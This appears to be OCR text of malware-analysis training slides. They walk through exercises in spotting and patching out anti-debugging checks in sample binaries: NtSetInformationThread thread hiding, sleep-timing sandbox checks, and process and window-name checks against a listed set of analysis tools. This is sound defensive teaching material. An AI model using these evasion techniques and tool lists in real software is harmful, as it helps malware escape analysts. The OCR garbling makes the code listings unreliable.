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® You can either change the ZF flag, modify the jump instruction.

00401973 FFD3 call ebx A Hide FPU
00401975 85C0 test eax,eax —
~ 75 C8 jne custom_antidebugg.401941 EAX 00000070 P
00401979 56 pUSh esi EBX 73E30620 <kernel32.p
0040197A FF15 14304000 call dword ptr ds:[<&CloseHandle>] ECX ~ 20E1C5D4
00401980 Cc785 04FBFFFF 00000mov dword ptr ss:|[[ebp-4Fc],0 EDX 00000000
64:A1 30000000 mov eax,dword ptr [Ji: [30] [00000030]:F | EBP  OQ1l9FF34
8B40 68 mov eax,dword ptr ds:[eax+68] ESP  0019FAZC )
83E0 70 and eax,70 ESI  000000c4 "A'
00401996 8985 04FBFFFF mov dword ptr ss:[[ebp-4FC],eax EDI 74380A70 <ucrtbase._|
0040199C 83BD 04FBFFFF 00 cmp dword ptr ss:[[ebp-4FC],0
[ELP, 74 17 je custom_antidebugg.4019BC EIP  004019A3 custom_antij
8D8D 98FEFFFF lea ecx,dword ptr ss:|[ebp-168]
| «|EB 4B jmp cuS'I_:om_ant'idebugg.4019F8 A 00000202
| 004019AD 56 push esi PF O AF O
' 004019AE FF15 14304000 call dword ptr ds:[<&CloseHandle>] 5,: 0O DF O
00401984 8D8D FCFDFFFF lea ecx,dword ptr ss:|[febp-204] CFO TFO IF1
004019BA | ~|EB 3C jmp custom_antidebugg.4019F8
——->g|/004019BC .68 38314000 push custom_antidebugg.403138 403138:"ntdl | | astError 00000000 (ERROR_SUC|
004019C1 FF15 0C304000 call dword ptr ds:[<&LoadLibraryA>] = .
004019¢7 8BFO OTREE e Laststatus CO0150008 (STATUS_SX|
004019C9 85F6 test esi,esi
~---q004019CB | - 74 28 je custom_antidebugg.4019F5 £3 e 5 [iEs
. 4004019cD | 68 44314000 push custom_antidebugg.403144 403144:"Ntse | ES 0028 DS 0028
004019D2 56 push esi CS 0023 sSS 0028
004019D3 FF15 18304000 call dword ptr ds:[<&GetProcAddress>] <
00401909 8BF8 mov edi,eax T4k (stdcall)
004019DB 85FF test edi,edi v|1: [esp+4] 0000000A 0000000A
) : = > |2: [esp+8] 002A8000 <PEB.Inheri
Jump is not taken 3: [esp+C] 00000070 00000070
OoFOTSET T T — 4: [esp+10] 0000022C 0000022C
L= |- . B aTaTaTaTalalalaliliaTalalalalalalal
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® When call edi is executed, the thread becomes invisible to the debugger, making it
impossible to continue debugging.

call dword ptr ds:[<&CloseHandle>]
Tea ecx,dword ptr ss:/[ebp-204]

jmp custom_antidebugg.4019F8

push custom_antidebugg.403138 403138:"ntd11.d11"
call dword ptr ds:[<&LoadLibraryA>]
mov esi,eax

test esi,esi

je custom_antidebugg.4019F5

push custom_antidebugg.403144 403144:"NtSetInformationThread”
push esi

call dword ptr ds:[<&GetProcAddress>]
mov edi,eax edi:"7\r"
test edi,edi edi:"I\r"
je custom_antidebugg.4019EE

push 0

push 0

push 11

call dword ptr ds:[<&GetCurrentThread>]
push eax

call edi

push esi
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To display the message, modify the conditional branch at 4019CB.
This can be done by changing the jump instruction (e.g., je to jmp) or adjusting the flag
condition to ensure the desired path is taken.

004019AD
004019AE
00401984
——@004019BA
004019BC
004019C1
004019C7
004019¢9
EIP 004019CB
004019CD
004019D2
004019D3
004019D9
004019DB

- 004019DD
= 004019DF
004019E1
004019E3
004019E5

I 004019EB
! 004019EC
Ii.-:q004019EE
! 004019EF
~——>q004019F5
L .q4004019F8
004019FD
00401A00
00401A02

€

56
FF15 14304000
8D8D FCFDFFFF
- EB 3C
68 38314000
FF15 0C304000
8BFO
85F6
74 28
68 44314000
56

<

8BF8
85FF
-/ 74 OF
6A 00
6A 00
6A 11

50
FFD7
56

-8D4D 8C

E8 73F7FFFF
8B4D FC
33C0

5F

FF15 18304000

FF15 08304000

FF15 1C304000

push esi

call dword ptr ds:[<&CloseHandle>]
Tea ecx,dword ptr ss:/[ebp-204]

jmp custom_antidebugg.4019F8

push custom_antidebugg.403138

call dword ptr ds:[<&LoadLibrarya>]
mov esi,eax

test esi,esi

je custom_antidebugg.4019F5

push custom_antidebugg.403144

push esi

call dword ptr ds:[<&GetProcAddress>]
mov edi,eax

test edi,edi

je custom_antidebugg.4019EE

push 0

push 0

push 11

call dword ptr ds:[<&GetCurrentThread>]
push eax

call edi

push esi

call dword ptr ds:[<&FreeLibrary>]
Tea ecx,dword ptr ss:|[[ebp-74]

call custom_antidebugg.401170

mov ecx,dword ptr ss:|[[ebp-4]

X0r eax,eax

pop edi

403138:"ntd11.d11"

403144 : "NtSetInform:

Hide FP
EAX 772A0000 ntd
EBX 73E30620 <ke
ECX 0418D1FE
EDX 00000000
EBP 0019FF34
ESP 0019FA2C
ESI 772A0000 ntd
EDI 74380A70 <uc
EIP 004019CB cus
EFLAGS 00000206

ZF O PF1 AF O
OF 0 SFO DFO
CFO TFO IF1

LastError 00000000 (E
LastStatus C0150008 (S

GS 002B FS 0053

ES 002B DS 002B
CS 0023 Ss 002B

Dot )bt (stdcall)

Jump 1is not taken
custom_antidebugg.004019F5

© 2025 LAC Co., Ltd.
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[esp+4] 0000000A 00C
[esp+8] 002CE00Q <PE
[esp+C] 00000070 00C
[esp+10] 0000022C OC
[esp+14] 00000000 OC

oW LA

66



Exercise 1 Answer For IDA

® The final message is displayed.

________

00401984

004019BA
QN4N1aRrRC

8D8D FCFDFFFF

+ EB 3C

AR 3R3140n0N

I =D oAb ENT OE A |

EDebug Success. Next, we will work on
cpractical malware.

q

q

q

q

004019DB
004019DD
004019DF
004019E1
004019E3
004019E5S
004019EB
004019EC
004019EE
004019EF
004019F5
004019F8
004019FD

P W W W Y

85FF

/4 OF

6A 00

6A 00

6A 11

FF15 08304000
50

FFD7

56

FF15 1C304000
8D4D 8C

ES8 73F/FFFF
8B4D FC

T e

Tea ecx,dword ptr ss:[ebp-204]

jmp custom_antidebugg.4019F8

push custom_antidebugg.403138

call dword ptr ds:[<&LoadLibraryA>]
mov esi,eax

test esi,esi

je custom_antidebugg.4019F5

push custom_antidebugg.403144

push esi

call dword ptr ds:[<&GetProcAddress>]
mov edi,eax

test edi,edi

je custom_antidebugg.4019EE

push 0

push 0

push 11

call dword ptr ds:[<&GetCurrentThreads>]
push eax

call edi

push esi

call dword ptr ds:[<&FreeLibrary>]
lea ecx,dword ptr ss:[ebp-74]

call custom_antidebugg.401170

mov ecx,dword ptr ss:[ebp-4]

© 2025 LAC Co., Ltd.
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® To investigate the XOR key, examine the function that outputs the message.

® B =
.text :004019F8
.text:084019F8 loc 4019F8:
.text:004019F§ call sub_401170¢
.text:004019FD mov eCcxX, |ebp+tvar_4]
.text:00401A00 xor eax, eax
.text:00401A82 pop edi _ -
.text:00401A83 pop esi text 00461170
.tE}{tiamalﬂaq- xor ecx, ebp text: 00461176 pl.lS-h Ebp |
omeesrr @ | rexconrt mv  cbp, esp
text:00401A8C MoV esp, ebp text:00401173 sub esp, 208h
.text :00401A0F pop ebp text:00401176 mov eax, _ security cookie
.text:00401A0F retn 18h .text:0040117B xor eax, ebp
.text:00401A0F _WinMain@lé endp .text:0040117D mov [ebp+var 4], eax
- text :00481A0F .text:00401180 push esi
.text:90481181 push edi
Ltext: 00401182 —mon edl —ocx
text:00401184 call sub_ 4081096
.text:00401189 push 5 3 1pParam
.text: 00401188 push 5 ; hInstance
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Sub 401090

1lint _ thiscall sub_48189@(unsigned __ intl1l6 *this) =
2l XOR_KEY = jsac2025
3| unsigned int v2; // kroo 4 -
4| unsigned __intle v3; // ax . e
5 wunsigned int v4; // ecx 00401090 push €bp
6| wunsigned _ intl6 v5; // dx ggjgigg% 23; gggsggp
7 i d intle vb; // bx ’
ol intte xugs 1) e 00401096 | |mov eax,dword ptr ds:[404004]
ol Int vB: // edx 00401098 | |Xor eax,ebp
é int o :‘ 0040109D mov dword ptr ss:[ebp-41,eax
i o th) 004010A0  movups xmmO,xmmword ptr ds:[40318C] 0040318C:L"jsac2025"
S| R resusty JU eex o 004010A7 | |mov ax,word ptr ds:[40319C]
12| unsigned _intl6 vil; // dx 004010AD | |push ebx ebx:PEB.InheritedAddressspace
13] _1intl6 vi2; _[55”4:] [55'3'—';_-:] - 004010AE push esi
‘._4 _}ntﬂﬁ y13; [esaf;«'-'] [ebp-18h] BYREF 004010AF push edi
15| __intl16 v14; // [esp+18h] [ebp-8h] 004010B0 | (lea esi,dword ptr ss:|lebp-18]
16 00401083 mov word ptr ss:[[ebp-8],ax
17 friiemien 004010B7 mov edi,ecx
12 w12 = xmmword 48318C; 004010B9 Tea ecx,dword ptr ds:[esi+2]
19 == e T L un s e intle *)&v13)
20 wv3 = *this;
21| v4 = @; .rdata:0048318A align 4
22| w5 = .rdata:0040318C xmmword 40318C xmrrnn.lDr{d 35003200300032006300610073006AN
231 V6 = Fthis; .rdata:@040318C - DATA XREF: cub 4
241 if ( v3 = OxEees ) |
25 { ] UOTd .. OoFoJ L0 153
26 v7 = {__intl6e *)this; .rdata:aaqaﬂﬂm_mnsd db  6Ah ; i \
27 vl2 = v3; .’da*a:3343§ 8D do @
28| do éate-cosoolar o o
29 { .rdata:ee4e3]oa db &1h ; a
E1%) ve = vd % v .rdata:8e483]91 db e
= .rdata:easa3)az db 63h ; c -

31 VA .rdata:es4esfss b e
32 *y7 = v12 ~ *{({_WORD *)&v13 + v8); .»d:t::smea 94 db  32h ; 2 Undeflne

= , R AR TR Sk .rdata:ee4e3]95 db e
2 R ‘*—: - N .'d:t::BmSS 96 db 3eh ; @
34 12 = *v7; .rdata:eedesfa7 db @
35 + .rdata:pa483]98 db 32h ; 2
- e f e = Aann s .rdata: 848399 db @
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Exercise 2

Level2.
Analysis of a program with multiple anti-debugging
features



Exercise 2

Target Malware : Exercise2.exe

Question

Use dynamic and static analysis to apply patches and make the malware
function properly.

Checkl : How many anti-analysis features must be circumvented?
Check?2 : Investigate the main functions of this malware.

Point : Use the IDA/Ghidra plugin AntiDebugSeeker to identify
anti-analysis features.
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Exercise 2 Answer For IDA

® Use AntiDebugSeeker to confirm the anti-analysis features.

= DA Wisw—8 = Detected Function List “ Anti Debug Detection Results (£ o] Hesx Wiew-1

Local Tvpes

Category Name Possible A Pl Address Possible Anti-Debug Technique Address
0x40110C

Oxd40110c
Process Check FProcess32First A 11 B
Process Check Processa2 Mext 04011 BE

Check Invalid Close—>Exception CloseHandle D01 346

Check Invalid Close—>Exception CloseHandle 0401578
Check Invalid Close—>Exception CloseHandle Oxd0157E
Check Invalid Close—>Exception CloseHandle D401 586
Tirme Check GelTickSoun G4 0x4 560D
Time Check Sleep DxA01 508
Time Check Sleep 0401 505
Window Mame Check EnumWindows 0016 A3
Dpened Exclusively Check Owd Bbe

Debugger check IsDebugzerPresent 0xA01 605
Debugzger check CheckRemoteDebugzerPrasent 0x401719

Time Check Sleep 0x401 848
Check Invalid Close—>Exception CloseHandle 040199 4
Exception Handling Check SetlUnhandledExceptionFilter D401 9EB
Exception Handling Check UnhandledExceptionFilter 04191

Time Check GueryPerformanceCounter DxA0z2 089
Debugger check [sDebugzerPresent 0402260
Exception Handling Check SetlUnhandledExceptionFilter 0xd02280
Exception Handling Check UnhandledExceptionFilter Oxd02297

Exception Handling Check =etlUnhandledExceptionFilter DxA022FD




Exercise 2 Answer For IDA

® Use AntiDebugSeeker to confirm the anti-analysis features.

= =

DA View-& = Detected Function List ‘;,‘ finti Debug Detection Results [ & Hez Wiew—1 M Lacal Types
Category Name Possible Anti-Debug API Address Possible Anti-Debug Technique Address
= " o pshot Cxd01100 : :

Ox40111B
0x4011 BB

How many anti-debugging
features are there?

DxA01 346

Check Invalid Close—> Exception CloseHandle Ox40168738
Check Invalid Close—> Exception CloseHandle Ox401BTE
Check Invalid Close—>Excaption Clos=Handle o401 086

Timne Check { GelTickCounlG4 0x401800 |
Time Check oleep U] s
Time Check Sleep 0401505
Window MName Check EnumWindows Ox401643

Jpened Exclusively Check Ox401 6k

Debugzer check [s0ebuggerPresent 0401605
Debugzger check CheckRemoteDebuzzerFresent 0x401719

Time Check sleep Uxd01 846
Check Invalid Close—> Exception CloseHandle Ox401994
Exception Handling Check setUnhandledExceptionFilter Ox4019E8
Exception Handling Check UnhandledExceptionFilter Oxd019F1

Time Check QueryPerformanceCounter Oxd02089
Debugger check lsDebuzgzerPresent Oxd02260
Exception Handling Check setUnhandledExceptionFilter Ox402280
Exception Handling Check UnhandledExceptionFilter 0402297

Exception Handling Check SetlUnhandledExceptionFilter Oxd022FD
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® The first is AntiDebug using Sleep-Time Check.

Ltext:eedalsan

Jext 182481548 push
Jtext: 88481541 mowv
Ltext: 88481543 and
text:ea4815A6 sub
Jext:884815AC mowv
Lfext: 88481581 xor
LEextiee4815683 mowv
Jtext:884815BA push

ebp

ebp, esp

ESP, B:::::::Sh
esp, 1D4h

eax, _  security_cog
eax, esp
[esp+lDdh+var_4], ed
ebx

It's easier to visualize when
hexadecimal is converted to decimal.

® & =

.text:884815E2 jb

® & =

.text:8@4815ER

Ltext:984815E8 push @
Ltext:@84815ED call ds

Jtext: 984815668 loc_4@15EEB:

i imp_exit

3

Code

.text: 88481568 push esi
Jtext:@8481568C push edi
Ltext:9848156D mov edi, ds:GetTickCountesd g
Ltext: 88481503 add edi, 2
Jtext:ea4015C06 call edi
Jtext: 88481508 mowv ebx, ds:5leep e Check
text:884815CE ng % =Ty
~text:ea40150g push 3EZGh 5 dwMilliseq v+ Group nodes
Ltext:8e401505 call ebx ; Sleep H Ok
Stext: 88481507 call edi
Jext:eedelsDe sub eax, esi ‘& teiis -
Ltext:2e4815DB sbb edx, @ ) 4 £
~text:@84815DE test edx, edx @ Jump to operan nter
Ltext:@84015E6 ja short loc_4815F3 a Jump in a new window Alt+Enter
@ Jump in a new hex window
E:] Jee standard symbolic constant
short loc_4@15EB
(A8 16000 H)
Y [€] 372000
ctext:oe4p15{2 cmE eax, 3498h J 11111010000000k B
Jtext:Be4815E9 Jn short loc_4815F3 _OFFFFC180h
[]  not OFFFFCITFh =
@] Manual...
W ihndefine nnerand

© 2025 LAC Co., Ltd.
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Decompiled
= (in (woid)Y((char *}&GetTickCountc4 + 2};
5_]_ PEEEEE‘E o (wodid)}((char *)&GetTickCountsd + 2)})();
1fE£l£EEi-1:5—' (*3(woid))((char *)}&GetTickCountsd + 23})(} - (unsigned _ int64)(unsigned int)wv4 < 156888 )
1. Get Initial Time (a): It first captures the current time.
2. Sleep for 16 Seconds: The program then pauses for 16 seconds.
3. Get Time After Sleep (B): Immediately after the pause, it captures the time again.
4. Calculate Time Difference: The difference between the initial time (a) and the time after

sleep (B) is calculated.

5. Check for Time Discrepancy: If the difference is less than 15 seconds, the program
assumes that some form of anti-debugging technique, like sleep time reduction in a
sandbox, is being used.

6. Terminate if Tampered: If it detects shortened sleep, suggesting tampering or debugging,
the malware shuts itself down to avoid detection or analysis.
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® The first is AntiDebug using Sleep-Time Check.
® The purpose is to detect environments like sandboxes, so it can be debugged directly

using F8.

55 push ebp
8BEC mov ebp,esp
83E4 F& and esp,FFFFFFF&
81EC D4010000 sub esp,1D4
Al 04504000 mov eax,dword ptr ds: [405004]
33C4 Xor eax,esp
898424 p0010000 mov dword ptr ss:[esp+1D0M,eax [esp+1D0] : PEB. InheritedAaddressspace
53 push ebx
56 push esi
57 push ed-
8B3D 14304000 mov edi,dword ptr ds:[<&GetTickCountb4:]
83c/ 02 add edi,?
FFD/ call ed
861D 10304000 mov ebx,dword ptr ds: [<&Sleep>]
8BFO mov esi,eax
68 8030000 push 3E&0
FFD3 call ebx
FFD/ call ed
2BCH sub eax,esi
83pAa 00 shb edx,0
8502 test edx,edx

« 77 11 ja exerciseZ.4015F3

« 72 07 jb exerciseZ.4015EB
30 983A0000 cmp eax,3A98

« 73 08 jae exercisel.4015F3
ba 00 push 0
FF15 A4304000 call dword ptr ds: [<&exit>]
33C9 XOr ecx,ecx

004015F5 BA D0O104000 mov edx,exercisel.4010D0
004015FA BE 20134000 mov esi,exercisel.401320 401320:L"jH%"
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If you continue debugging as is, there is a function called sub_4010DO0.
Does this function have anti-analysis capabilities?

L4 |
® 5 IDA Wiew—a Detected Function List [
Ltext: 20481684 cmp al, @EBh
Ltext:ee481686 jz loc_4amlosm
1 |Sear|:h...
_ v
B .
.text:@@4B168C call  edi sub_4010D0 )
Ltext:Pe48163E mov I:si, eax _
.text:00481698 call ub_4e1eDe
Ltext: 88481695 test eax, eax CreateTnnIheIpEESnapsth
.text:88481697 jnz loc_481948 Process32First
[ 1 : Process32Next
L J
L J
x
® 5 (4detected)
Ltext: 88481690 push eax 3 1Param

Ltext:8848169E push offset EnumFunc ; lpEnumFunc
text:@e4816A3 call ds:Enumiindows ; Window Name Check
CJlext:884816A9 test eax, eax

Check the comments to determine

Ltext: 88481688 jnz loc_4al1948
T T . L] L]
. what it is attempting to detect.
.text:88481184 push 2 ; dwFlags
.text:@e40118C call ds:CreateToolhelp32Snapshot ; Process Check | Enumerate_Running Processes - The CreateToclhelp32Snapshot function to enumerate running processes.
.text:8840116C 3 It might be detecting a specific debugger and using functions like ReadProcessMemory to inspect the contents of memory to determine if debugging is cccurring.
Jtext: 00481112 lea ecx, [esp+l7eh+pe]
Ltext:88481116 mov [esp+17@h+hSnapshot], eax
Jtext:@848111A push 2CX
.text:88401116 mov ecx, ds:Process32First ; Process Check
Ltext:88481121 push 2ax
Ltext: 29481122 add ecx, 2
Ltext:88401125 call ecx
Lfext:eedall2y cmp eax, 1
Ltext: 88481124 jnz loc_4@11CA
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0040168E 8BFO
E8 3BFAFFFF
00401695 85c0

00401690

00401697 | ~ OF85 03030000 jne exer 2.4019A0
0040169D 50 push eax
0040169E 68 00124000 push exe e2. 401200
004016A3 FF15 60304000 call dw r ds: [<&EnumwWindows:>]
0040160A9 85 test egx
004016AE = 00401000 55 push ebp
004016B1 50| ®004010D1 8BEC mov ebp,esp
00401682 68| ®004010D3 83E4 FO and esp,FFF
004016B7 6Al ®004010D6 81EC 68010000 sub esp,168
00401689 50| ®004010DC Al 04504000 mov ge-3
004016BA 6a 9004010E1 33c4 Xor 400401127
nnand Se zo| @004010€E3 898424 64010000 |mov d0040112a
004010EA 56 push [[00401130
004010€B 57 push [00401136
004010EC 68 24010000 push [29,01 170
004010F1 8p4424 20 lea 400401142
004010F5 C74424 1c 280100mov d00401144
004010FD 6a 00 push [00401148
004010FF 50 push ggj—.g_—_—’:g
00401100 E8 EF140000 call ooLffié
00401105 83c4 0cC add 4poa01161
00401108 6a 00 push 00401163
0040110A 6a 02 push
0040110cC FF15 0c304000 call
00401112 8pdc24 18 lea 4
00401116 894424 14 mov
0040111A 51 push
00401118 880D 04304000 mow
00401121 50 push BRI ES
00401122 83cl 02 add 400401184
00401125 FFD1 callll |oo401187
00401127 83F8 01 cmp ¢00401189
-@(0040112A 0F85 9A000000 |jne el
00401130 863D 00314000 mov 455401199
00401136 BE /8324000 mov 400401190
0040119€E
00401140
004011A3
© 2025 LAC Co., Ltd. R

mov esi,eax

call exercise?.4010D0

test eax,

The function is checking whether any
process of an analysis tool is running.

] CAGEL O A

FFD1

83F8 01

0F85 9A000000
863D 00314000

BE 68324000
OF1F4400 00
8A06

33¢9

888C24 58010000
0F57cC0

0F298424 4001000
66:0FD68424 5001
84c0

74 20

8BDO
666666:0F1F8400
F6DO0

8p52 01

88840C 40010000

73 70

808424 40010000
C6840C 40010000
50

804424 40

50

FFD7
83c4 08
85c0

74 39
83Cb 19

call ecx
cmp eax,l

jne exercise?.4011ca

mov edi,dword ptr ds:[<& stricmp>]
mov esi,exercisel.403268

nop dword ptr ds:[eax+eax],eax
mov al,byte ptr ds:[esi]

XOr ecx,ecx

mov byte ptr ss:|fesp+15801,cl
xorps xmmQ, xmm0

movaps xmmword ptr ss:[esp+140], xmm0
movq qword ptr ss:|[esp+1507, xmm0
test al,al

je exercise?.401183

mov edx,esi

nop word ptr ds:[eax+eax],ax

not al

lea edx,dword ptr ds:[edx+1]

mov byte ptr ss:|lesprecx+140[],al
inc ecx

mov al,byte ptr ds:[edx]

test al,al

jne exercise?2. 401170

inc ecx

cmp ecx,19

jae exercise2.4011F9

lea eax,dword ptr ss:|lesp+140]
mov byte ptr ss:|[esprecx+140],0
push eax

lea eax,dword ptr ss:[esp+40]
push eax

call edi

add esp,8

test eax,eax

je exercise?.4011E0

add esi,19

eax:"Wireshark.exe"

eax:"Wireshark.exe"

eax:"Wireshark.exe"

eax:"Wireshark.exe"
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UUAUI63S 3C EB Tmp al,EB - H
—————————————————— 00401686 | ~ OF84 14030000 je exercise2.4019A0
0040168C FFD7 call edi L EAX 00000001 I
0040168E 8BFO mov esi,eax
00401690 E8 3BFAFFFF call exercisel.4010D0 ECX 9FBR7292¢C
00401695 85C0 test eax,eax EDX 00000000
EIP 9 ~-0F85 03030000 jne exercise?.4019a0
00401690 | |50 push eax EBP  Q019FF38
0040169E 68 00124000 push exercise?.401200 ESP 0019FD58
004016A3 FF15 60304000 call dword ptr ds: [<&EnumwWindows>] ESI Q1BFC45B
004016A9 85C0 test eax,eax EDI 73E25D02
——————————————— 004016AB ~| OF85 EF020000 jne exercisel.4019A0
00401681 50 push eax
00401682 | |68 80000000 push 80 EIP 00401697
Sl | B® COE” - H EFLAGS 00000202
00401689 | |50 push eax It m d f th ZF ﬂ t
004016BA 6A 07 push 7 O I Ies e Ze ro ag O ZFE 0 PFO AF O
004016BC 68 00000080 push 80000000 OF
004016C1 68 0C324000 push exercise2 . . ?:E g -?-E g ?E 2
004016C6 FF15 18304000 €all dword ptr t m
004016CC 83F8 FF cmp eax,FFFFFF p reve n Ju p I ng.

------------- 004016cF  -| OF85 c4020000 |jne exercise?. LastError 000000
004016D5 FF15 28304000 call dword ptr I LastStatus C00001L
004016DB 85C0 test eax,eax r r |

——————————— 004016DD | ~|0OF85 BDO20000 jne exercisel. (exa p e answer) GS 002B FS 0053
004016E3 FFD7 call edi ES 002B DS 002B
004016E5 2BC6 sub eax,esi
004016E7 | |83DA 00 sbb edx,0 Cs 0023 ss 0028
004016EA 85D2 test edx,edx
004016EC | -|OF87 AE020000 |ja exercise2.4019A0 sT(0) 00000000000
004016F2 | +|72 OB jb exercise2.4016FF sT(1) 00000000000
004016F4 3D 94110000 cmp eax,1194
004016F9 | ~|OF87 Al020000 ja exercise2.4019A0 EI‘(—EQ 99929999999
004016FF E8 5CFCFFFF call exercisel2.401360 <
00401704 83F8 70 cmp eax,/0 70:"'p"’ F 7)) Hstdcall)

————— 00401707 ~| OF84 93020000 je exercise2.4019a0 «|1: [esp+4] 005926A0

T o i ) s o > |2: [esp+8] 003DA000

: 3: [esp+C] 00690063

J"me lf Eahﬁ2n1 0 g: Eesp+ig% gggSggg
: lesp+ E

It goes to the end of

the process.

®

Ltextieedalone

text:BB4B19AR loc 481948 :
.text:@e4010A8 call  sub_selpse
.text:80401948 _main endp
text:eadalase
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® This modification bypasses the process check for analysis tools.

00401690 E& 3BFAFFFF call exercisel.4010D0 ECX
00401695 85c0 test eax,eax EDX
EIP = - [EIOGERE - 0F85 03030000 jne exercise?.4019A0
' 0040169D 50 push eax EBP
0040169E 68 00124000 push exercise2.401200 ESP
004016A3 FF15 60304000 call dword ptr ds:[<&Enumwindows:] ESI
b 004016A9 85c0 test eax,eax EDI
i m— 004016AB | ~|OF85 EF020000 jne exerciseZ.4019A0
; 00401681 50 push eax EIP
' 00401682 68 80000000 push 80
DL 004016B7 6a 03 push 3
: 00401689 50 push eax
: 004016BA 6A 07 push 7 ZF 1
: 004016BC 68 00000080 push 80000000 ac_ 0
Pl 004016C1 68 0C324000 push exercise2.40320C 40320C: "\ \\\.A\\GTobal\\ProcmonDebugLogger" CF 0
! 004016cC6 FF15 18304000 call dword ptr ds:[<&CreateFileAx]
i 004016¢C 83F8 FF cmp eax,FFFFFFFF
| 004016cE | | OFR5 c4020000 |jne exercise?. 401999 LastErn
: 004016D5 FF15 28304000 call dword ptr ds:[<&IsDebuggerPresent:] Lastst
H 004016DB 85c0 test eax,eax
: oossss==s 004016DD ~| OF85 BD020000 jne exercise?2.4019A0 GS 002
' i 004016E3 FFD7 call edi ES 002
[ 004016E5 2BCH sub eax,esi
, 0040167 | |83DA 00 sbb edx,0 Cs 002
: 004016EA 85D2 test edx,edx
il | oo 004016EC | ~| OF87 AE020000 ja exercise2.4019A0 sT(0)
P - 004016F2 | ~|72 OB jb exercise2.4016FF sT(1)
! 004016F4 3D 94110000 cmp eax, 1194 sT(2)
:I S — 004016F9 | ~| OF87 A1020000 ja exercise2.4019A0 —raA
' |l b 004016FF E8 5CFCFFFF call exercise?2.401360 <
R 00401704 83F8 70 cmp eax,/0 70:'p"’ F 2 Fistde
; b 00401707 | ~| OF84 93020000 je exercise?2.4019A0 v|1: [esp
e v eyl Al ainzan = : —— = P > [2: Lesp
Jump 1is not taken 3: [esp
CACT U ISCEL . UUsULTAU gf IEe.E—.E
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® As the comments indicate, EnumWindows is an API that checks the names of open windows.
® |t identifies which windows are being checked.

L

]
s X1
Ltext:8848168C call edi

. : Jdext:8a481225 mov [ebp+5tringl], offset aProcmonWindowC ; "PROCMON_WINDOW_CLASS
Lext:ee848168E mov €51, €ax Ltext:e848122F mov [ebp+var_438], offset a0llydbg ; "OllyDbg"
Jext@adalsae call sub AE1E0E Aot 984081239 mov [ebp+var_434], offset aTidawindow ; "TIdaWindow"

] - Jdext 88481243 mov [ebptvar_438], offset aWindbgframecla ; “"WinDbgFrameClass”
ctext: 88481695 test £ax, eax Ltext:ea481240 mov [ebp+var_42C], offset aFilemonclass ; "FilemonClass™
ext:ERAR1697 jnz loc 481988 Lext: 984681257 mov [ebp+var_428], offset ald ; "ID"

_ _ — Jext: 08481261 mov [ebp+var_424], offset aRegmonclass ; "RegmonClass”
Ltext: 884812668 mov [ebp+var_428], offset aProcexpl ; "PROCEXPL"
. Jtext: 88481275 mov [ebp+var_41C], offset aTcpviewclass ; "TCPViewClass”
' Jext:@848127F mov [ebptvar_418], offset aSmartsniff ; "SmartsSniff"
a Ltext:ea481289 mov [ebp+var_414], offset afutoruns ; "Autoruns”
ﬁ Ltext: 28481293 mov [ebptvar_418], offset aCnetmonmainfra ; “"CHetmonMainFrame
4 ] ] . text:0848129D mov [ebptvar_48C], offset aTformfilealyze ; "TFormFileslyzer2
ctext: 80481690 F'USh cax ¥ 1Pa Ltext:ea48l1247 mov [ebptvar_488], offset aProcesshacker ; "ProcessHacke
text:8848169E push offset EnumFunc ; IpEnumFunc ltext:e041281 call  ds:GetClassiianes
. text:884816A3 call ds:Enumiindows ;3 Window Name Check,
Tgdext:e84816A9 test eax, eax
Ltext: 88481648 jnz loc_ 481988
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If there is no target window to detect,

S 00401697 | ~ ; .
; 0040100 | spo? 02020000 gﬂghegggmeé == the return value will be 0.
| 0040169€E 68 00124000 push exercise2.401200 IEAX 00000000 l
i 00401643 FF15 60304000 call dword ptr ds:[<&EnumwWindows:]
i 004016A9 85c0 test eax,eax
Fg————————— (DETOEIYY - OF85 EF020000 jnel exercise?.4019A0 Egi gggggggg
il 00401681 50 push eax
H 00401682 68 80000000 push 80 EBP  0019FF38
P 00401687 6A 03 push 3 ESP  0019FD58
] 00401689 50 push eax ESI  01BFC45B
Ll 004016BA 6A 07 push 7 EDI 73E25D02
il 004016BC 68 00000080 push 80000000
i I 004016C1 68 0c324000 push exercise?.40320C 40320C: "\ M\ A\G1obal\\ProcmonDebuglL ogger" ETP 004016AB
il 004016C6 FF15 18304000 call dword ptr ds:[<@CreateFileAx]
i 004016¢C 83F8 FF cmp eax,FFFFFFFF
e 004016CF | ~ OF85 C4020000 |jne exercise2.401999 EFLAGS 0000024
:I' 004016D5 FF15 28304000 call dword ptr ds:[<&IsDebuggerPresent:>] ZF 1 PF1 AF O
Dl 004016DB 85c0 test eax,eax OF 0 SFO0O DEO
1N || gooemommee= 004016DD | ~| OF85 BD020000 jne exercise?2.4019A0 CE0 TF O IF 1
o 004016E3 FFD7 call edi
Ll 004016E5 2BCH sub eax,esi
i 004016€7 83pA 00 sbb edx,0 LastError 00000
Pl 004016EA 85D2 test edx,edx LastStatus €0000
1 e 004016€EC | ~|OF87 AE020000 ja exercise2._4019A0
i i P 004016F2 « 72 0B jb exercise?.4016FF
Pl 004016F4 3D 94110000 cmp eax,1194 gz gggg Ez gggg
Pl 004016F9 | ~| OF87 A1020000 ja exercise?.4019A0
ARRE 004016FF | |E8 SCFCFFFF call exercise2.401360 Cs 0023 ss 0028
Pl 00401704 83F8 70 cmp eax,/0 70:'p"
I 00401707 | ~| OF84 93020000 je exercise?.4019A0 sT(0) 0000000000
Pl P 0040170D 8p4424 10 lea eax,dword ptr ss:|lesp+10] sT(1) 0000000000
ERERRE 00401711 50 push eax
ARREEN 00401712 FF15 08304000 |call dword ptr ds: [<&GetCurrentProcess:] §I£§2 9999999999
Pl 004017138 50 push eax <
P 00401719 FF15 2C304000 |gall dword ptr ds:[<&CheckRemoteDebugger F 741 Hstdcall
Phi : E 0040171F 837¢c24 10 00 cmp dword ptr ss:|lesp+10[,0 | v|1: [esp+4] 005926A
—_— P cttt o ST > [2: [esp+8] 003DA00
c 3: [esp+C] 0069006
jump s pot taxen 4: [esp+10] 006500}
5: [esp+14] 00200
.text:004016AB exercise?.exe: $16AE #AAB
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® Isit an anti-debugging technique like the comment suggests, or is it something else?
® \What does ¥¥.¥Global¥ProcmonDebuglLogger mean?

¥
L X-1E
textiaed4al6Bl push eax ; hTemplateFile
text:ea481682 push gah 3 dwFlagsAndAttributes
Ltext:@ae481687 push 3 ; dwCreationDisposition
Jtext:ea481689 push eax 3 lpSecurityAttributes
.text:884816BA push 7 ; dwShareMode
text:@ed4816BC push gepaapaah ; dwDesiredfccess | Opened_Exclusively Check - Createfile is attempting to exclusively open its own executable file.
